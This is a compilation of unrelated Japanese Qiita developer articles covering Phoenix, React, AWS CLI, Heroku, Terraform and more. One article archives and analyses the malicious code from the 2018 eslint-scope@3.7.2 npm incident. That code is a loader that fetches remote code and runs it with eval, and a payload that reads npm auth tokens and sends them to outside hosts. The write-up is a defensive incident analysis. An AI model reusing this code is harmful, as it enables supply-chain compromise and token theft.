OmniAICreator/Qiita-1.07M huggingface dataset:
Phoenix Frameworkの開発環境を構築する with Ubuntu 16.04

# 初めに

最近、趣味でUnity関連の開発を始めました。それに関連して、リアルタイム通信の仲介役となるサーバーアプリをElixir + Phoenix Frameworkで構築を進めています。この記事は環境構築時の忘備録です。タイトルの通りではありますが、この記事ではVagrantで初期化したUbuntu上(Ubuntu 16.04)でPhoenix Framework用の開発環境を整えるところまで進めます。バージョンやプロジェクト名・データベース名などは、必要に応じて改変してください。

# 依存関係

Phoenix Frameworkを使った開発環境の構築には、Elixirが導入されていることはもちろん、Node.jsやデータベースがセットアップされている必要性があります。ざくっとですが、HelloWorldするのに下記パッケージを必要です。

- Phoenix Framework
  - Elixir
  - Node.js
  - Postgres (初回HelloWorldするのに必要)


# 手順

## 必要なパッケージ類のインストール

inotify-toolsは、Phoenixがファイルの変更を自動で検知してリロードするために必要です。
なくても動きますが、実行時にerrorが出ます。

```bash

$ sudo apt install wget curl git vim inotify-tools
```

## Erlangの導入

筆者環境ではerlangインストール中にHash Sum mismatchと出ましたが、` apt update`しなおしたら治りました。

```bash

$ wget https://packages.erlang-solutions.com/erlang-solutions_1.0_all.deb
$ sudo dpkg -i erlang-solutions_1.0_all.deb
$ sudo apt update
$ sudo apt install -y erlang
```

## Elixirの導入 (exenv経由)

```bash

$ git clone git://github.com/mururu/exenv.git .exenv
$ git clone git://github.com/mururu/elixir-build.git ~/.exenv/plugins/elixir-build
$ echo 'export PATH="$HOME/.exenv/bin:$PATH"' >> ~/.bashrc
$ echo 'eval "$(exenv init -)"' >> ~/.bashrc
$ source ~/.bashrc
$ exenv install 1.6.6
$ exenv global 1.6.6
```

## Node.jsの導入 (nvm経由)

phoenix.newするときに、Node.js(というかnpm..?)が必要になります。
ここで入れておきましょう。

```bash

$ curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
$ nvm install v8.11.3
$ source ~/.bashrc
```

## PostgresDBの構築 (Docker経由)

Docker経由でPostgreSQLサーバーをローカルに立てます。
DBが立ち上がっていないと後述のサーバー起動時にエラーで落ちます。

```bash

$ curl -fsSL get.docker.com -o get-docker.sh
$ sh get-docker.sh
$ sudo usermod -aG docker $(whoami)
$ docker run -d --name postgres -p 5432:5432 -e POSTGRES_DB=hello_phoenix_dev postgres:9.6
```

## Phoenix Frameworkの導入

```bash

# Package manager hexの導入
$ mix local.hex
$ mix archive.install https://github.com/phoenixframework/archives/raw/master/phoenix_new.ez
```


## プロジェクト作成

`phoenix.new`するときに、`Fetch and install dependencies?`と聞かれます。
Yを押して依存関係を入れておきましょう。

`mix phoenix.server`でサーバーアプリが起動します。
初回起動は、生成されたソースをコンパイルするのでちょっと時間がかかるようです。


```bash

$ mix phoenix.new hello_phoenix
$ cd hello_phoenix
# サーバー起動
$ mix phoenix.server
```

# 確認

サーバーを起動すると4000番でLISTENされるので、http://(マシンのアドレス):4000でアクセスしてみましょう。
下記のような画面が出てくれば、HelloWorld成功です。

![無題2.png](https://qiita-image-store.s3.amazonaws.com/0/128123/45b865cf-88b2-2892-e6a5-3536bc94af44.png)
プログラミングスクール

[プログラミング講師が考える、プログラミング学習に必要な資質と講師側の規範、また教育というものについて - Qiita](https://qiita.com/shoki_kitajima/items/9b82d28c684751c466eb)
[社会人10年目になったので振り返る(一部上場コンテンツプロバイダー会社) - Qiita](https://qiita.com/mothule/items/b06116f465712e94b7ca)
[実質3日間の勉強で基本情報技術者試験に合格した(と思う)ので、勉強法を公開します！【初心者｜忙しい人向け】 - Qiita](https://qiita.com/toedango86/items/4f07e7ee96830b3bae20)
[「成長頭打ち」と感じたエンジニアは筋トレに励め。 - Qiita](https://qiita.com/Ishio/items/a2f1b07e452566408acd)
[要約 プログラマが知るべき97のこと＋１０ - Qiita](https://qiita.com/masakinihirota/items/5fd5fffa5ac5e057a9df)
[エンジニア組織がない会社でエンジニア組織を立ち上げるためにやった3つのこと - Qiita](https://qiita.com/takish/items/a58c1517c6ac5887ba87)
[【和田卓人氏特別講演】若手エンジニアに送る"心構え"と"キャリア観" / 2017年9月23日 - Qiita](https://qiita.com/ononoy/items/131a435610f2623914e8)
[CTOのやるべきことは何なのか？（翻訳と考察） - Qiita](https://qiita.com/takano1222/items/ef897b2156067688f3ae)
[「ITエンジニア採用に欠かせない原則とは」を読んで - Qiita](https://qiita.com/joji/items/5732f5383fa44ca27479)
[自己組織化された開発チームへの道のり2017 - Qiita](https://qiita.com/boscoworks/items/83125a6c2e406fcbe213)
rspecテスト

https://gist.github.com/sunaot/c761b00b79d71f6e64bb


http://www.betterspecs.org/


https://qiita.com/muran001/items/276b3375e3e37de368e6


手動テストと同じくらいの厚み
想定している動きをしたときに想定したとおりに動くか。
また複雑なテストをかかければいけないようなコードは書かない、設計をしない

例えばフォーム入力の遷移のテストの場合
何も入力されないことがよくある、必須のものが入力される、(全ての項目が入力される)
の2~3がテストされていればよい。
必須のものを入力してちゃんと成功するか、必須のものが入力されていない場合失敗するかを見る。


境界値は見ない、複雑な挙動をした際に落ちるかどうかは気にしない

 
 
controllerのテストが書けない書きづらい等の場合は、大抵restfulになっていない設計に問題がある。


モック禁止/モックが必要なテストは書かない、もしくは機能を開発しない。

http://www.betterspecs.org/jp/


https://github.com/rubocop-rspec/rubocop-rspec
これ入れる


ちなみに統合テストは
featuresというフォルダに入れることが多い


https://github.com/willnet/rspec-style-guide
react-router でログイン済みユーザー向けのページを PrivateRoute でやるのにハマったところ

## まえがき
v4 です。

## 困った！
ページで `componentWillReceiveProps` でやればよいはずの処理が走らず、なぜか毎回 `componentWillMount` が走っていた。つまり、component が update (re-render) するのではなく mount (re-mount) をしてた。なんでだろうな〜と思ったら、そのページはログイン済みの（authenticated な）ユーザーにのみ表示するページで、 `PrivateRoute`（後述）を使用していた。react-router の公式ドキュメントをちゃんと読んでごにょごにょしたら解決策がわかった。


## 公式のやりかた
[公式ドキュメント](https://reacttraining.com/react-router/web/example/auth-workflow) はこんな風にやろうって言っている。

```react
const PrivateRoute = ({ component: Component, ...rest }) => (
  <Route
    {...rest}
    render={props =>
      fakeAuth.isAuthenticated ? (
        <Component {...props} />
      ) : (
        <Redirect
          to={{
            pathname: "/login",
            state: { from: props.location }
          }}
        />
      )
    }
  />
);
```
こんな感じで `Route` をいい感じに wrap して `PrivateRoute` として使う。こうすると、 `isAuthenticated` でないときには勝手にログインページへ redirect してくれる。使うときは `Route` を使うときと同じ要領で、 `<PrivateRoute path="/mypage" component={Mypage} />` って感じにすればよい。

## でも問題がある
僕らは `Route` にページコンポーネントを渡すとき、 `component` は使いたくない。なぜなら、

> When you use component (instead of render or children, below) the router uses React.createElement to create a new React element from the given component. That means if you provide an inline function to the component prop, you would create a new component every render. This results in the existing component unmounting and the new component mounting instead of just updating the existing component. When using an inline function for inline rendering, use the render or the children prop (below).

> （拙訳）
これを使うと、内部では毎回 `React.createElement`をやるので、レンダリング毎に新しい React element を生成しちゃいます。つまり、ページコンポーネントの update 処理をするのではなく、component の unmount & mount をしまくる、ってことになります。これが嫌だったら `Route` にページコンポーネントを渡すとき `component` じゃなくて `render` とか `children` とかを props で使おう。

> src: https://reacttraining.com/react-router/web/api/Route/component

らしいから。

参考になる：https://qiita.com/park-jh/items/7486a0d1dcc5f32c69ec#render-props%E3%82%92%E4%BD%BF%E3%81%86


## どうやるか
前述の `PrivateRoute` は、`Route` で `component` props を使う場合のやつなので、  `render` props を使うバージョンにする。

```react
const PrivateRoute = ({ render, ...rest }) => (
  <Route
    {...rest}
    render={
      fakeAuth.isAuthenticated
        ? render
        : props => (
            <Redirect
              to={{
                pathname: "/login",
                state: { from: props.location }
              }}
            />
          )
    }
  />
);
```
使いかたは他の `Route` と同様、 `<PrivateRoute path="mypage" render={props => <Mypage {...props} />} />` でオーケー。

## あとがき
簡単ですね。
Chainer4.2向けサンプルコード

下記を参考にさせていただき、Chainerの入門的なサンプルコードを動作させたかったが、
Chainerのversionが変わりすぎてそのまま動かなかったのでメモ
http://studylog.hateblo.jp/entry/2015/08/27/225017

**環境**
Windows 10
Python 3.6.5
Chainer 4.2.0

**コード**
これで動いた

```python:work1.py
#!/usr/bin/env python
# coding:utf-8
import numpy as np
import chainer
import chainer.links as L
import chainer.functions as F
from chainer import Variable, optimizers

class MyChain():
    def __init__(self):
        self.l = L.Linear(3, 3)

    def __call__(self, x):
         return self.l(x)

#モデルを作る
model = MyChain().l
optimizer = optimizers.SGD().setup(model)

optimizer.add_hook(chainer.optimizer_hooks.WeightDecay(0.0005))

#学習させる回数
times = 100

#与えるベクトル  これが[2,4,6]になって返ってきて欲しい
x = Variable(np.array([[1, 2, 3]], dtype=np.float32))


#正解ベクトルの[2,4,6]
t = Variable(np.array([[2, 4, 6]], dtype=np.float32))

# ここから50回ループ
for i in range(0, times):

    model.cleargrads()

    # ここでモデルに予測させている
    y = model(x)

    # モデルが出した答えを表示
    print(y.data)

    # お馬鹿なモデルが出した答えと、本当の答え([2,4,6])がどのくらい違っているか計算する
    loss = F.mean_squared_error(y, t)

    # その値をモデルに見せて「全然違うじゃねーか！もっと近づけろ！」と学習させる
    loss.backward()
    optimizer.update()

    # 最初に戻って繰り返す
```

数値はそれっぽいけど正しいコードになっているかわからない。。
【AWS】業務でよく使うAWS CLIまとめ

## プロファイル設定

```
aws configure --profile [プロファイル名]
```

## プロファイル確認

```
aws --profile [プロファイル名] sts get-caller-identity
```

## 指定のEC2インスタンスの情報を表示

```
aws ec2 describe-instances --instance-ids [EC2インスタンスIDs] | jq '.Reservations[].Instances[] | {InstanceId, InstanceName: (.Tags[] | select(.Key=="Name").Value)}'
```

## 指定のEC2インスタンスを起動

```
aws ec2 start-instances --instance-ids [EC2インスタンスIDs] | jq '.StartingInstances[] | {InstanceId, CurrentState}'
```

## 指定のEC2インスタンスを停止

```
aws ec2 stop-instances --instance-ids [EC2インスタンスIDs]
```

## 指定のEC2インスタンスのAMIを取得

```
aws ec2 create-image --instance-id [EC2インスタンスIDs] --name [AMI名] --description [AMI説明] --no-reboot
```

## Cloud WhatLogsからjson形式のパラメータのみを抽出

```
aws logs filter-log-events --log-group-name [ロググループ名] --filter-pattern [フィルタする文字列(エラーコードなど)] --start-time [ログ取得開始日時(ミリ秒数)] --end-time [ログ取得終了日時(ミリ秒数)] | jq -r '.events[].message'  | awk '{print substr($0, index($0, "{"))}' > リダイレクト先ファイル
```

## S3 Bucketからフォルダごとコピー 

```
$ aws s3 cp s3://[Bucket名]/[コピー元フォルダパス]/ [コピー先パス] --recursive
```
github の Releases のダウンロード数を curl と jq でお手軽に調べたいッ

次のような API があるようだ。

* [Releases | GitHub Developer Guide](https://developer.github.com/v3/repos/releases/) → List releases for a repositor

「`GET /repos/:owner/:repo/releases`」の意味が分かりにくいが、「`:owner`」と「`:repo`」を、レポジトリのオーナー名とレポジトリ名に置き換えればよいようだ。つまり、https://github.com/zetamatta/nyagos の情報を見たい時は https://api.github.com/repos/zetamatta/nyagos/releases を開けばよろしい。ブラウザでも大丈夫で、別に認証も要らないようだ。

得られるデータは JSON なので、これを加工するツールが必要だ。自前で作ってもよいが、お手軽に [jq](https://stedolan.github.io/jq/) とやらを使ってみよう。初めて使うので、コマンドがよく分からないが、[jq コマンドを使う日常のご紹介 - Qiita](https://qiita.com/takeshinoda@github/items/2dec7a72930ec1f658af) やら、[jq Manual (development version)](https://stedolan.github.io/jq/manual/)などを見て、試行錯誤してみた結果、次の１行で期待する出力を得ることができだ。

```
curl https://api.github.com/repos/zetamatta/nyagos/releases | jq-win64.exe ".[].assets[] | .name, .download_count"
```

```
"nyagos-4.3.1_3-386.zip"
98
"nyagos-4.3.1_3-amd64.zip"
229
"nyagos-4.3.1_2-386.zip"
65
"nyagos-4.3.1_2-amd64.zip"
86
"nyagos-4.3.1_1-386.zip"
9
"nyagos-4.3.1_1-amd64.zip"
36
：以下省略
```

アクティブユーザ 200人くらいか。やっぱり、もう 64bit版をダウンロードするユーザの方が多いんだなぁ。

これが知りたかっただけだけど、ついでに jq の使い方が分かったので、得たものは大きい
anaconda環境へのQGISのインストールに詰まった時のメモ

## この記事について
QGISをMacに[公式のインストーラ](http://www.kyngchaos.com/software/python)からインストールする際、詰まったけどなんとか解消したのでメモ程度に。

## 起こった事象

落としたインストーラを手順通りに進め、GDALをインストールし、公式のQGISをインストールしようとしたところ、 `Python 3.6 required!` みたいなメッセージが出て先に進めない。
Python3.6はanaconda経由で入れていて絶賛稼働中である。
ぐぐると、Brewからpython3を入れれば解決するとは書いてあるが、現状動いているpythonの環境を汚したくないので色々調べていた。

## 解決策


調べたところどうやらQGISがpythonを呼びにいくPATHと普段遣いしているpythonのPATHが一致しないことが原因のようだったので、参考記事で言及されている通り、QGISが読みに行くpythonのPATH `/Library/Frameworks/Python.framework` にすでにインストールされている、 `/usr/local/Cellar/` 以下のpython 3.6以降がインストールされているシンボリックリンクを貼った。

```.sh
ln -s /usr/local/Cellar/python/3.6.x/Frameworks/Python.framework /Library/Frameworks/Python.framework
```

これで再度QGISのインストーラを開いてやることで、正常にインストールが完了した。
ただし、私の環境ではこのあと、QGISを起動した際QGISの依存パッケージの一つである `owslib` モジュールが見つからないというエラーが出たので、 手動でpipからインストールしたのち、無事にQGISを立ち上げることができた。

## 参考記事
[Installing QGIS3 on Mac?](https://gis.stackexchange.com/questions/274381/installing-qgis3-on-mac)
[QGIS 3.0 error when start in MacOS High Sierra](https://gis.stackexchange.com/questions/276787/qgis-3-0-error-when-start-in-macos-high-sierra)
WebstormのReactプロジェクトで補完が上手くいかなくなった時の対処メモ

Webstormを使用しています。
これまでReactプロジェクトで普通にReactメソッドなどが補完されていたのに、新しいプロジェクトで何故か補完が上手くいかなくなくなりました。
それを個人的に解決できた時のメモ。

なお、公式では
>ReactメソッドとReact 固有属性に対してコード補完を取得するには、 react.js ライブラリファイルをプロジェクトのどこかに配置する必要があります。通常、ライブラリはすでに node_modules フォルダにあります。

とありましたが、自分の場合はreactプロジェクトと認識されるケースとそうでないケースがありました。

Reactプロジェクトと認識されなかったケースの解決法です。

---
プロジェクトの
Preferences | Languages & Frameworks | JavaScript | Libraries
右の方にあるDownloadをクリックして、reactを検索してインストール。
参考 : https://youtrack.jetbrains.com/issue/WEB-24780#comment=27-2493973


@types/reactが__enabled__になってると綺麗に補完されるようになりました。
WebAssemblyの初歩の初歩

## 何者？
- Webアプリ上でjsだと遅い場合に中間言語でコンパイルしてくれて速度を向上できるもの。
- JavascriptからCやC++で書いたコードをコンパイルしてバイナリファイルにしたものを呼び出して実行できる。
    - わかりやすかったURL(https://nulab-inc.com/ja/blog/nulab/basic-webassembly-begginer/)

## 対応言語
今のところ、C,C++,Rust,AssemblyScriptで書いたコードに対応。
つまり、上記の言語で書いたコードをコンパイルしてバイナリファイルにして.wasmなるファイルを作ることができる様子。
今後JavaやC#にも対応予定とのこと。

## 便利ツール
ブラウザ上でWebassemblyがかけるエディタがあるらしい。
https://webassembly.studio/

## 仕組み
対応言語でコードを書いたら.wasmというコンパイルされたバイナリファイルが出来上がる。
jsから入ってきた値をこのコンパイル済のwasmファイルのメソッドなどにいれて実行できることによって処理を高速化する様子。

## 参考URL
https://nulab-inc.com/ja/blog/nulab/basic-webassembly-begginer/
https://developer.mozilla.org/ja/docs/WebAssembly/Concepts

わかるようになったらもう少し具体的に書きたい。
VSCodeで軽快なターミナル操作！おすすめショートカット設定

VisualStudioCodeでは、keyと事前定義されたコマンドの組み合わせをjsonファイルに定義することでオリジナルのショートカットを設定することができます。
せっかくターミナル関連のコマンドを用意してもらっているので、キーボードショートカットで使えるようにしてしまいましょう！

# ショートカットの設定
`cmd + shift + p`でコマンドパレットを開き、keyなどと入力して`Preferences: Open Keyboard Shortcuts file`を選択します。
すると、`keybindings.json`が開くはずです。
![Screen Shot 2018-07-15 at 16.38.21.png](https://qiita-image-store.s3.amazonaws.com/0/96286/7c8bd4a3-b6a1-16db-c48b-36969d42b7fb.png)


`keybinding.json`のなかに、以下を参考にショートカットを設定してください。

```json
// Place your key bindings in this file to overwrite the defaults
[
    { "key": "cmd+shift+j", "command": "workbench.action.terminal.focusNext" },
    { "key": "cmd+shift+k", "command": "workbench.action.terminal.focusPrevious" },
    { "key": "cmd+shift+t", "command": "workbench.action.terminal.newInActiveWorkspace" },
    { "key": "cmd+shift+w", "command": "workbench.action.terminal.kill" },
    { "key": "cmd+shift+enter", "command": "workbench.action.terminal.focus" },
    { "key": "cmd+shift+enter", "command": "workbench.action.focusActiveEditorGroup", "when":"terminalFocus" },
]
```
# ショートカットの解説
## ターミナルのタブを開く/ 閉じる
macOSの場合は`cmd + t`, `cmd + w`ですね。
それに倣って、上記のショートカットでは`cmd + shift + t`,`cmd + shift + w`を割り当てました。

```json
    { "key": "cmd+shift+t", "command": "workbench.action.terminal.newInActiveWorkspace" },
    { "key": "cmd+shift+w", "command": "workbench.action.terminal.kill" },
```


## ターミナルのタブの切り替え
macOSの場合は`ctrl + tab`, `ctrl + shift + tab`です。
合わせても良かったのですが、VSCodeのデザインはタブというよりリストを上下にスイッチする感じなのでちょっと違和感があります。なのでこうしました。

```json
    { "key": "cmd+shift+j", "command": "workbench.action.terminal.focusNext" },
    { "key": "cmd+shift+k", "command": "workbench.action.terminal.focusPrevious" },
```

## ターミナル <> エディタ間の切り替え
これまでの流れで、VSCodeでterminalをで使うときには`cmd + shift`に手を置いていることと思います。なのでこんな感じに。

```json
    { "key": "cmd+shift+enter", "command": "workbench.action.terminal.focus" },
    { "key": "cmd+shift+enter", "command": "workbench.action.focusActiveEditorGroup", "when":"terminalFocus" },
```

# まとめ
皆様もよいVSCodeライフを。オススメのショートカットがあれば是非コメントください！
Rlang での tensorflow 環境の作り方

# 動機
Tokyo.R で R から TensorFlow を使っててかっこよかった

# 環境
macOS 10.12.6

## brew をインストールする

```
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```

## miniconda をインストールする

```
$ brew install miniconda
```

## PATH を通す

`~/.zshrc` などに記述

```
export PATH="/usr/local/miniconda3/bin:$PATH"
```

有効にする

```
source ~/.zshrc
```

確認する

```
$ python3
```

## virtualenv で仮想環境を作る

```
$ conda create --name r-tensorflow python=3.6
```

確認する

```
$ conda info -e
```

## 仮想環境をアクティベートする

```
$ source activate r-tensorflow
```

## tensorflow を入れる

```
pip3 install --ignore-installed --upgrade tensorflow
```

## keras も入れる

```
conda install -c conda-forge keras
```

## R での操作

```
install.packages("curl")
install.packages("keras")
library(keras)
install_keras()
```

# MNIST など

[keras.rstudio](https://keras.rstudio.com/)
Herokuエラーメッセージへの対処

[Herokuにプロジェクト載せてサービス公開](https://qiita.com/ntkgcj/items/8e757c9cce9c53705dfe#heroku-postgresdb-のアドオン追加)で作成したアプリケーションに対して、デプロイ時に`エラーメッセージ`が表示されるので、エラーが消えるように対処してみた。

# エラーメッセージ
```zsh:エラーメッセージ1
remote: ###### WARNING:
remote: 
remote:        You have not declared a Ruby version in your Gemfile.
remote:        To set your Ruby version add this line to your Gemfile:
remote:        ruby '2.4.4'
remote:        # See https://devcenter.heroku.com/articles/ruby-versions for more information.
```

```zsh:エラーメッセージ2
remote: ###### WARNING:
remote: 
remote:        No Procfile detected, using the default web server.
remote:        We recommend explicitly declaring how to boot your server process via a Procfile.
remote:        https://devcenter.heroku.com/articles/ruby-default-web-server
```

## GemにはRubyのバージョン記載をする
`エラーメッセージ1`への対応だが、これは単純に`Gemfile`に、使用しているRubyのバージョンが記載されてないため表示される。
なので、Gemfileにバージョンを記述して`bundle`後に再デプロイした。

```rb:Gemfile
source "https://rubygems.org"

ruby "2.5.1"
```
```zsh:Gem設定→コミット→デプロイまで
bundle

git add Gemfile Gemfile.lock
git commit -m "Write Ruby Version in Gemfile"
git push
git push heroku master
```
ちなみに、デプロイ時のHerokuでは`ruby 2.4.4`で構成されていたようだが
`2.5.0`で指定してデプロイしても特に問題なかった。
`Rubyバージョンが異なる場合はHeroku側でデプロイ時に自動で設定再構築してくれる様子。`

>
https://devcenter.heroku.com/articles/ruby-versions


## サーバーの並列処理について
`エラーメッセージ2`への対応。
「`Procfile`が無いけど？使った方がええんちゃう？」といった感じのメッセージ。`Procfile`にはサーバーの起動設定や、起動時に実行したいコマンドを記述する。

サーバー初期設定では並列処理できないWEBrickが使用されているので
並列処理を可能にするためには別のWebサーバを利用する必要がある
（下記は`puma`を使うための設定例。）

```rb:Gemfile
# gemの記載があるか確認。バージョンは任意で
gem 'puma', '~> 3.7'
```
```zsh:Procfileをプロジェクトディレクトリ配下に作成
vim Procfile
```
```rb:Procfile
web: bundle exec puma -C config/puma.rb
```
並列処理に対応するために、下記のファイルを編集（作成）。
rails5系であれば、設定ファイル自体は最初から存在している。
（`設定しなくても[初期状態でも]一応、動く。`）

```rb:config/puma.rb
# -- 下記コード文の各行を探してそれぞれコメントアウトを外す

 workers ENV.fetch("WEB_CONCURRENCY") { 2 }

 preload_app!


 on_worker_boot do
   ActiveRecord::Base.establish_connection if defined?(ActiveRecord)
 end

```
あとは、コミット＆デプロイしてみて確認。
（`デプロイ時にエラーメッセージが表示されなくなっているか`）

[Herokuのアプリケーション管理画面](https://dashboard.heroku.com/apps)からも`puma `が有効になっているか確認できる。

<img width="632" alt="スクリーンショット 2018-07-24 23.13.45.png" src="https://qiita-image-store.s3.amazonaws.com/0/23248/2b07de19-2ac7-9b01-5bd8-298e782ca362.png">


>
[Deploying Rails Applications with the Puma Web Server | Heroku Dev Center](https://devcenter.heroku.com/articles/deploying-rails-applications-with-the-puma-web-server)
[HerokuのデプロイしたRailsアプリにPumaを導入してみる](https://qiita.com/yeaney/items/839a8bf3ea0e3ba2e237)
[Procfile ってどこにある？Procfile の作成からpumaの設定まで](http://mooooooooooriiiiii.hatenablog.com/entry/2017/04/15/143244)
[Postgresqlの設定からRailsアプリケーションをherokuで動かすまで⑤](http://dogear11.hatenablog.com/entry/2015/06/27/152633)
[Rails+Herokuで5分でWebアプリ作るおっ（ ＾ω＾）](https://qiita.com/ikuwow/items/8b8aa9ac8990f98691a9)
homebrewインストールしたとき用メモ

# あらすじ
いろいろあってhomebrewをインストールしようと思ったけど、どうでもいいところでつまづいたのでメモ。

# インストール方法
そもそもXcodeのツールなんとかをインストールしていなかった
```$ xcode-select --install```

このあとXcodeの規約に同意しないと先にすすめない
（これをやらないといけないのに気づかなくて時間を無駄にした）
```$ sudo xcodebuild -license```
↑のコマンドを打ったあと、いろいろ指示がでる（※English）のでそのとおりにすすめればOK

homebrewインストール
```$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"```

※↑のコマンドで通らなかったら[公式HP](https://brew.sh/)のトップに最新のコマンドが書いてあるのでチェック


以上
「2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について」を読んで、思ったこと(アーカイブも兼ねる)

こいつを読んだ

[2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について - qiita](https://qiita.com/mysticatea/items/0141657e4478d9cf4614)

今回発生したインシデントでどのような攻撃コードが送られていたのかをアーカイブに残す

攻撃コード
-----

```js:eslint-scope@3.7.2
try {
  var https = require('https');
  https.get({
    'hostname': 'pastebin.com',
    path: '/raw/XLeVP82h',
    headers: {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
      Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }
  }, (r) => {
    r.setEncoding('utf8');
    r.on('data', (c) => {
      eval(c);
    });
    r.on('error', () => {});
  }).on('error', () => {});
} catch (e) {}
```

- 攻撃者は簡単に攻撃コードを変更できるようなコードを挿入している
- `pastebin.com`をいうサイトを使うことで、作成者がわからないようにしている
- `try catch`で例外を潰すことにより、実行者に気が付かれないようにしている
- `headers`の`User-Agent`は`pastebin.com`側を欺くためだろうと考えられる


```js:pastebin.com/raw/XLeVP82h
try {
  var path = require('path');
  var fs = require('fs');
  var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
  var content = "nofile";
  if (fs.existsSync(npmrc)) {
    content = fs.readFileSync(npmrc, {
      encoding: 'utf8'
    });
    content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
    var https1 = require('https');
    https1.get({
      hostname: 'sstatic1.histats.com',
      path: '/0.gif?4103075&101',
      method: 'GET',
      headers: {
        Referer: 'http://1.a/' + content
      }
    }, () => {}).on("error", () => {});
    https1.get({
      hostname: 'c.statcounter.com',
      path: '/11760461/0/7b5b9d71/1/',
      method: 'GET',
      headers: {
        Referer: 'http://2.b/' + content
      }
    }, () => {}).on("error", () => {});
  }
} catch (e) {}
```

- 特徴的なのは、アクセストークンを`Referer`で送っていること
- tokenの送り先は **アナリティクス分析関連会社**
    - [histats](http://www.histats.com/)
    - [statcounter](http://gs.statcounter.com/)
- このような会社の解析ツールをDBのように使っているという点
- 更に、`tor`を使い、**アナリティクス分析関連会社**にアクセスし、情報を盗み取っていたと考えられる

この事件のを通して思ったこと
-----
- エンジニアとしていろいろなツールを開発する中で、`Referer`をDBとして使われるような、予期しない悪用のされ方があるのだと知っておかないといけないなと感じた


参考
-----

### Github
![screencapture-github-eslint-eslint-scope-issues-39-2018-07-15-16_12_39.png](https://qiita-image-store.s3.amazonaws.com/0/47047/ed44ef72-b6f2-a019-f950-ff4fcfb83f58.png)
https://github.com/eslint/eslint-scope/issues/39#issuecomment-404495923

### Hacker News
![screencapture-news-ycombinator-item-2018-07-15-16_11_25.png](https://qiita-image-store.s3.amazonaws.com/0/47047/7fe3fa1c-2b72-7a1f-f78b-4882c623d48a.png)
https://news.ycombinator.com/item?id=17513709
クリプトゾンビメモ（レッスン１）

・uint = unsigned integer(符号なし整数）
・構造体名[ ] public 名前
・private関数の宣言方法。関数名＋private。関数のパラメーターと同様に、アンダースコア(_)で始めるのが通例だから覚えておく。

```php

uint[] numbers;

function _addToArray(uint _number) private {
  numbers.push(_number);
}

```


・戻り値の型を指定して関数宣言する（握るという関数に刺身・わさび・シャリという引数をあげて処理してもらったら寿司が戻り値）
・view関数よりもpure関数のほうが制限されている（view関数はぎりぎり読み取りだけは出来る）
GraphQLの旅(5) Prismaで作ったCRUDを（一部変形し）GraphQLサーバで公開する

# GraphQLサーバからのAPIインポートは明示的に宣言が必要

[Prisma](https://www.prisma.io/)では[OpenCRUD](https://www.opencrud.org/)という基本的なAPIを勝手に作ってくれますが、GraphQLサーバ(apolloとかgraphgl-yogaとか)でそれを公開するには、インポート用の宣言しなければいけません。

まず、データ型は次の`User`とします。

```graphql
type User {
  id: ID! @unique
  name: String!
}
```

宣言する場所は、graphql-yogaでは`schema.graphql`です。
下記のように記載します。

```graphql
# import User from './generated/prisma.graphql'

type Query {
  user(id: ID!): User
  users: [User!]!
}

type Mutation {
  createUser(name: String!): User
}
```

次に、graphqlサーバのアプリケーション内`index.js`に上記宣言済みAPIのresolverを書きます。
これでPrismaで生成したOpenCRUDが、APIとつながります。

```js
const { Prisma } = require('prisma-binding')
const resolvers = {
  Query: {
    user: (_, args, context, info) => {
      return context.prisma.query.user({ where: { id: args.id,}},info)
    },
    users:  (_, args, context, info) => {
      return context.prisma.query.users({}, info);
    },
  },
  Mutation: {
    createUser: (_, args, context, info) => {
      return context.prisma.mutation.createUser({data: {name: args.name}}, info)
    },
  },  
}
```

上記resolverは、以下のようなAPIのつながりがあるということを意味します。

|API種別|公開するAPI|元のPrismaのAPI|
|---|---|---|
|Query|`user(id: ID)` **(少し元と違う)**|`context.prisma.query.user(where: {id: ID})`|
|Query|`users`|`context.prisma.query.users`|
|Mutation|`createUser(name: String)` **(少し元と違う)**|`context.prisma.query.createUser(data: {name: String})` |

# 一部変形してAPI公開

最後の`createUser`は少し元のAPIと違って、引数が`data: {name: String}`から`name: String`になっており、**dataオブジェクトを引数とするAPIから、より簡単なnameだけを引数とするAPIを作っている**ことがわかります。

- 変形したところ(`args.name`が`data`オブジェクトに入れられている)

```js
    createUser: (_, args, context, info) => {
      return context.prisma.mutation.createUser({data: {name: args.name}}, info)
    },
```

# 参考
[OpenCRUD](https://www.opencrud.org/)
[Prismaチュートリアル](https://www.prisma.io/docs/tutorials/build-graphql-servers/development/build-a-graphql-server-with-prisma-ohdaiyoo6c)
[Hello World GraphQLサーバ](https://qiita.com/Hiroyuki_OSAKI/items/2c81369bf6d3006e3f74)
Terraform入門

# Terraformとは
- HashicorpによりリリースされているIaC(Inflastructure as Code)ツールの1つ
- インフラ構築の設定をコードで記述できる
- AWS、Azure等、複数のプロバイダに対応

#インストール
- 実行環境：AWS Cloud9

作業環境を作成

```
$ mkdir terraform
```
作業環境に移動

```
$ cd terraform
```
[ダウンロードサイト](https://www.terraform.io/downloads.html)で最新のバージョンを確認
現時点(2018/7/12)での最新バージョンは0.11.7
インストール

```
$ wget https://releases.hashicorp.com/terraform/0.11.7/terraform_0.11.7_linux_amd64.zip
```
zipを解凍

```
$ unzip terraform_0.11.7_linux_amd64.zip
```

binに移動してパスを通す

```
$ mv terraform /usr/bin/
```

バージョンが表示されればOK

```
$ terraform --version
Terraform v0.11.7
```


#使い方
- まずはファイル(拡張子:tf)を作成する
- 以下はAWSのLambdaを設定する場合のサンプルコード抜粋

lambda.tf
※ファイル名は何でもよい

```
provider "aws" {
    region = "${var.region}"
    access_key="${var.aws_access_key}"
    secret_key="${var.aws_secret_key}"
    version = "~> 1.0"
}

resource "aws_lambda_function" "Test" {
    filename = "test.zip"
    function_name = "TestFunction"
    role = "${var.role_arn}"
    handler = "lambda_function.lambda_handler"
    runtime = "python3.6"
    timeout = 300
    description = "test function to study  terraform"
}

data "archive_file" "lambda_zip" {
    type = "zip"
    source_dir  = "test"
    output_path = "test.zip"
}
```
variables.tf
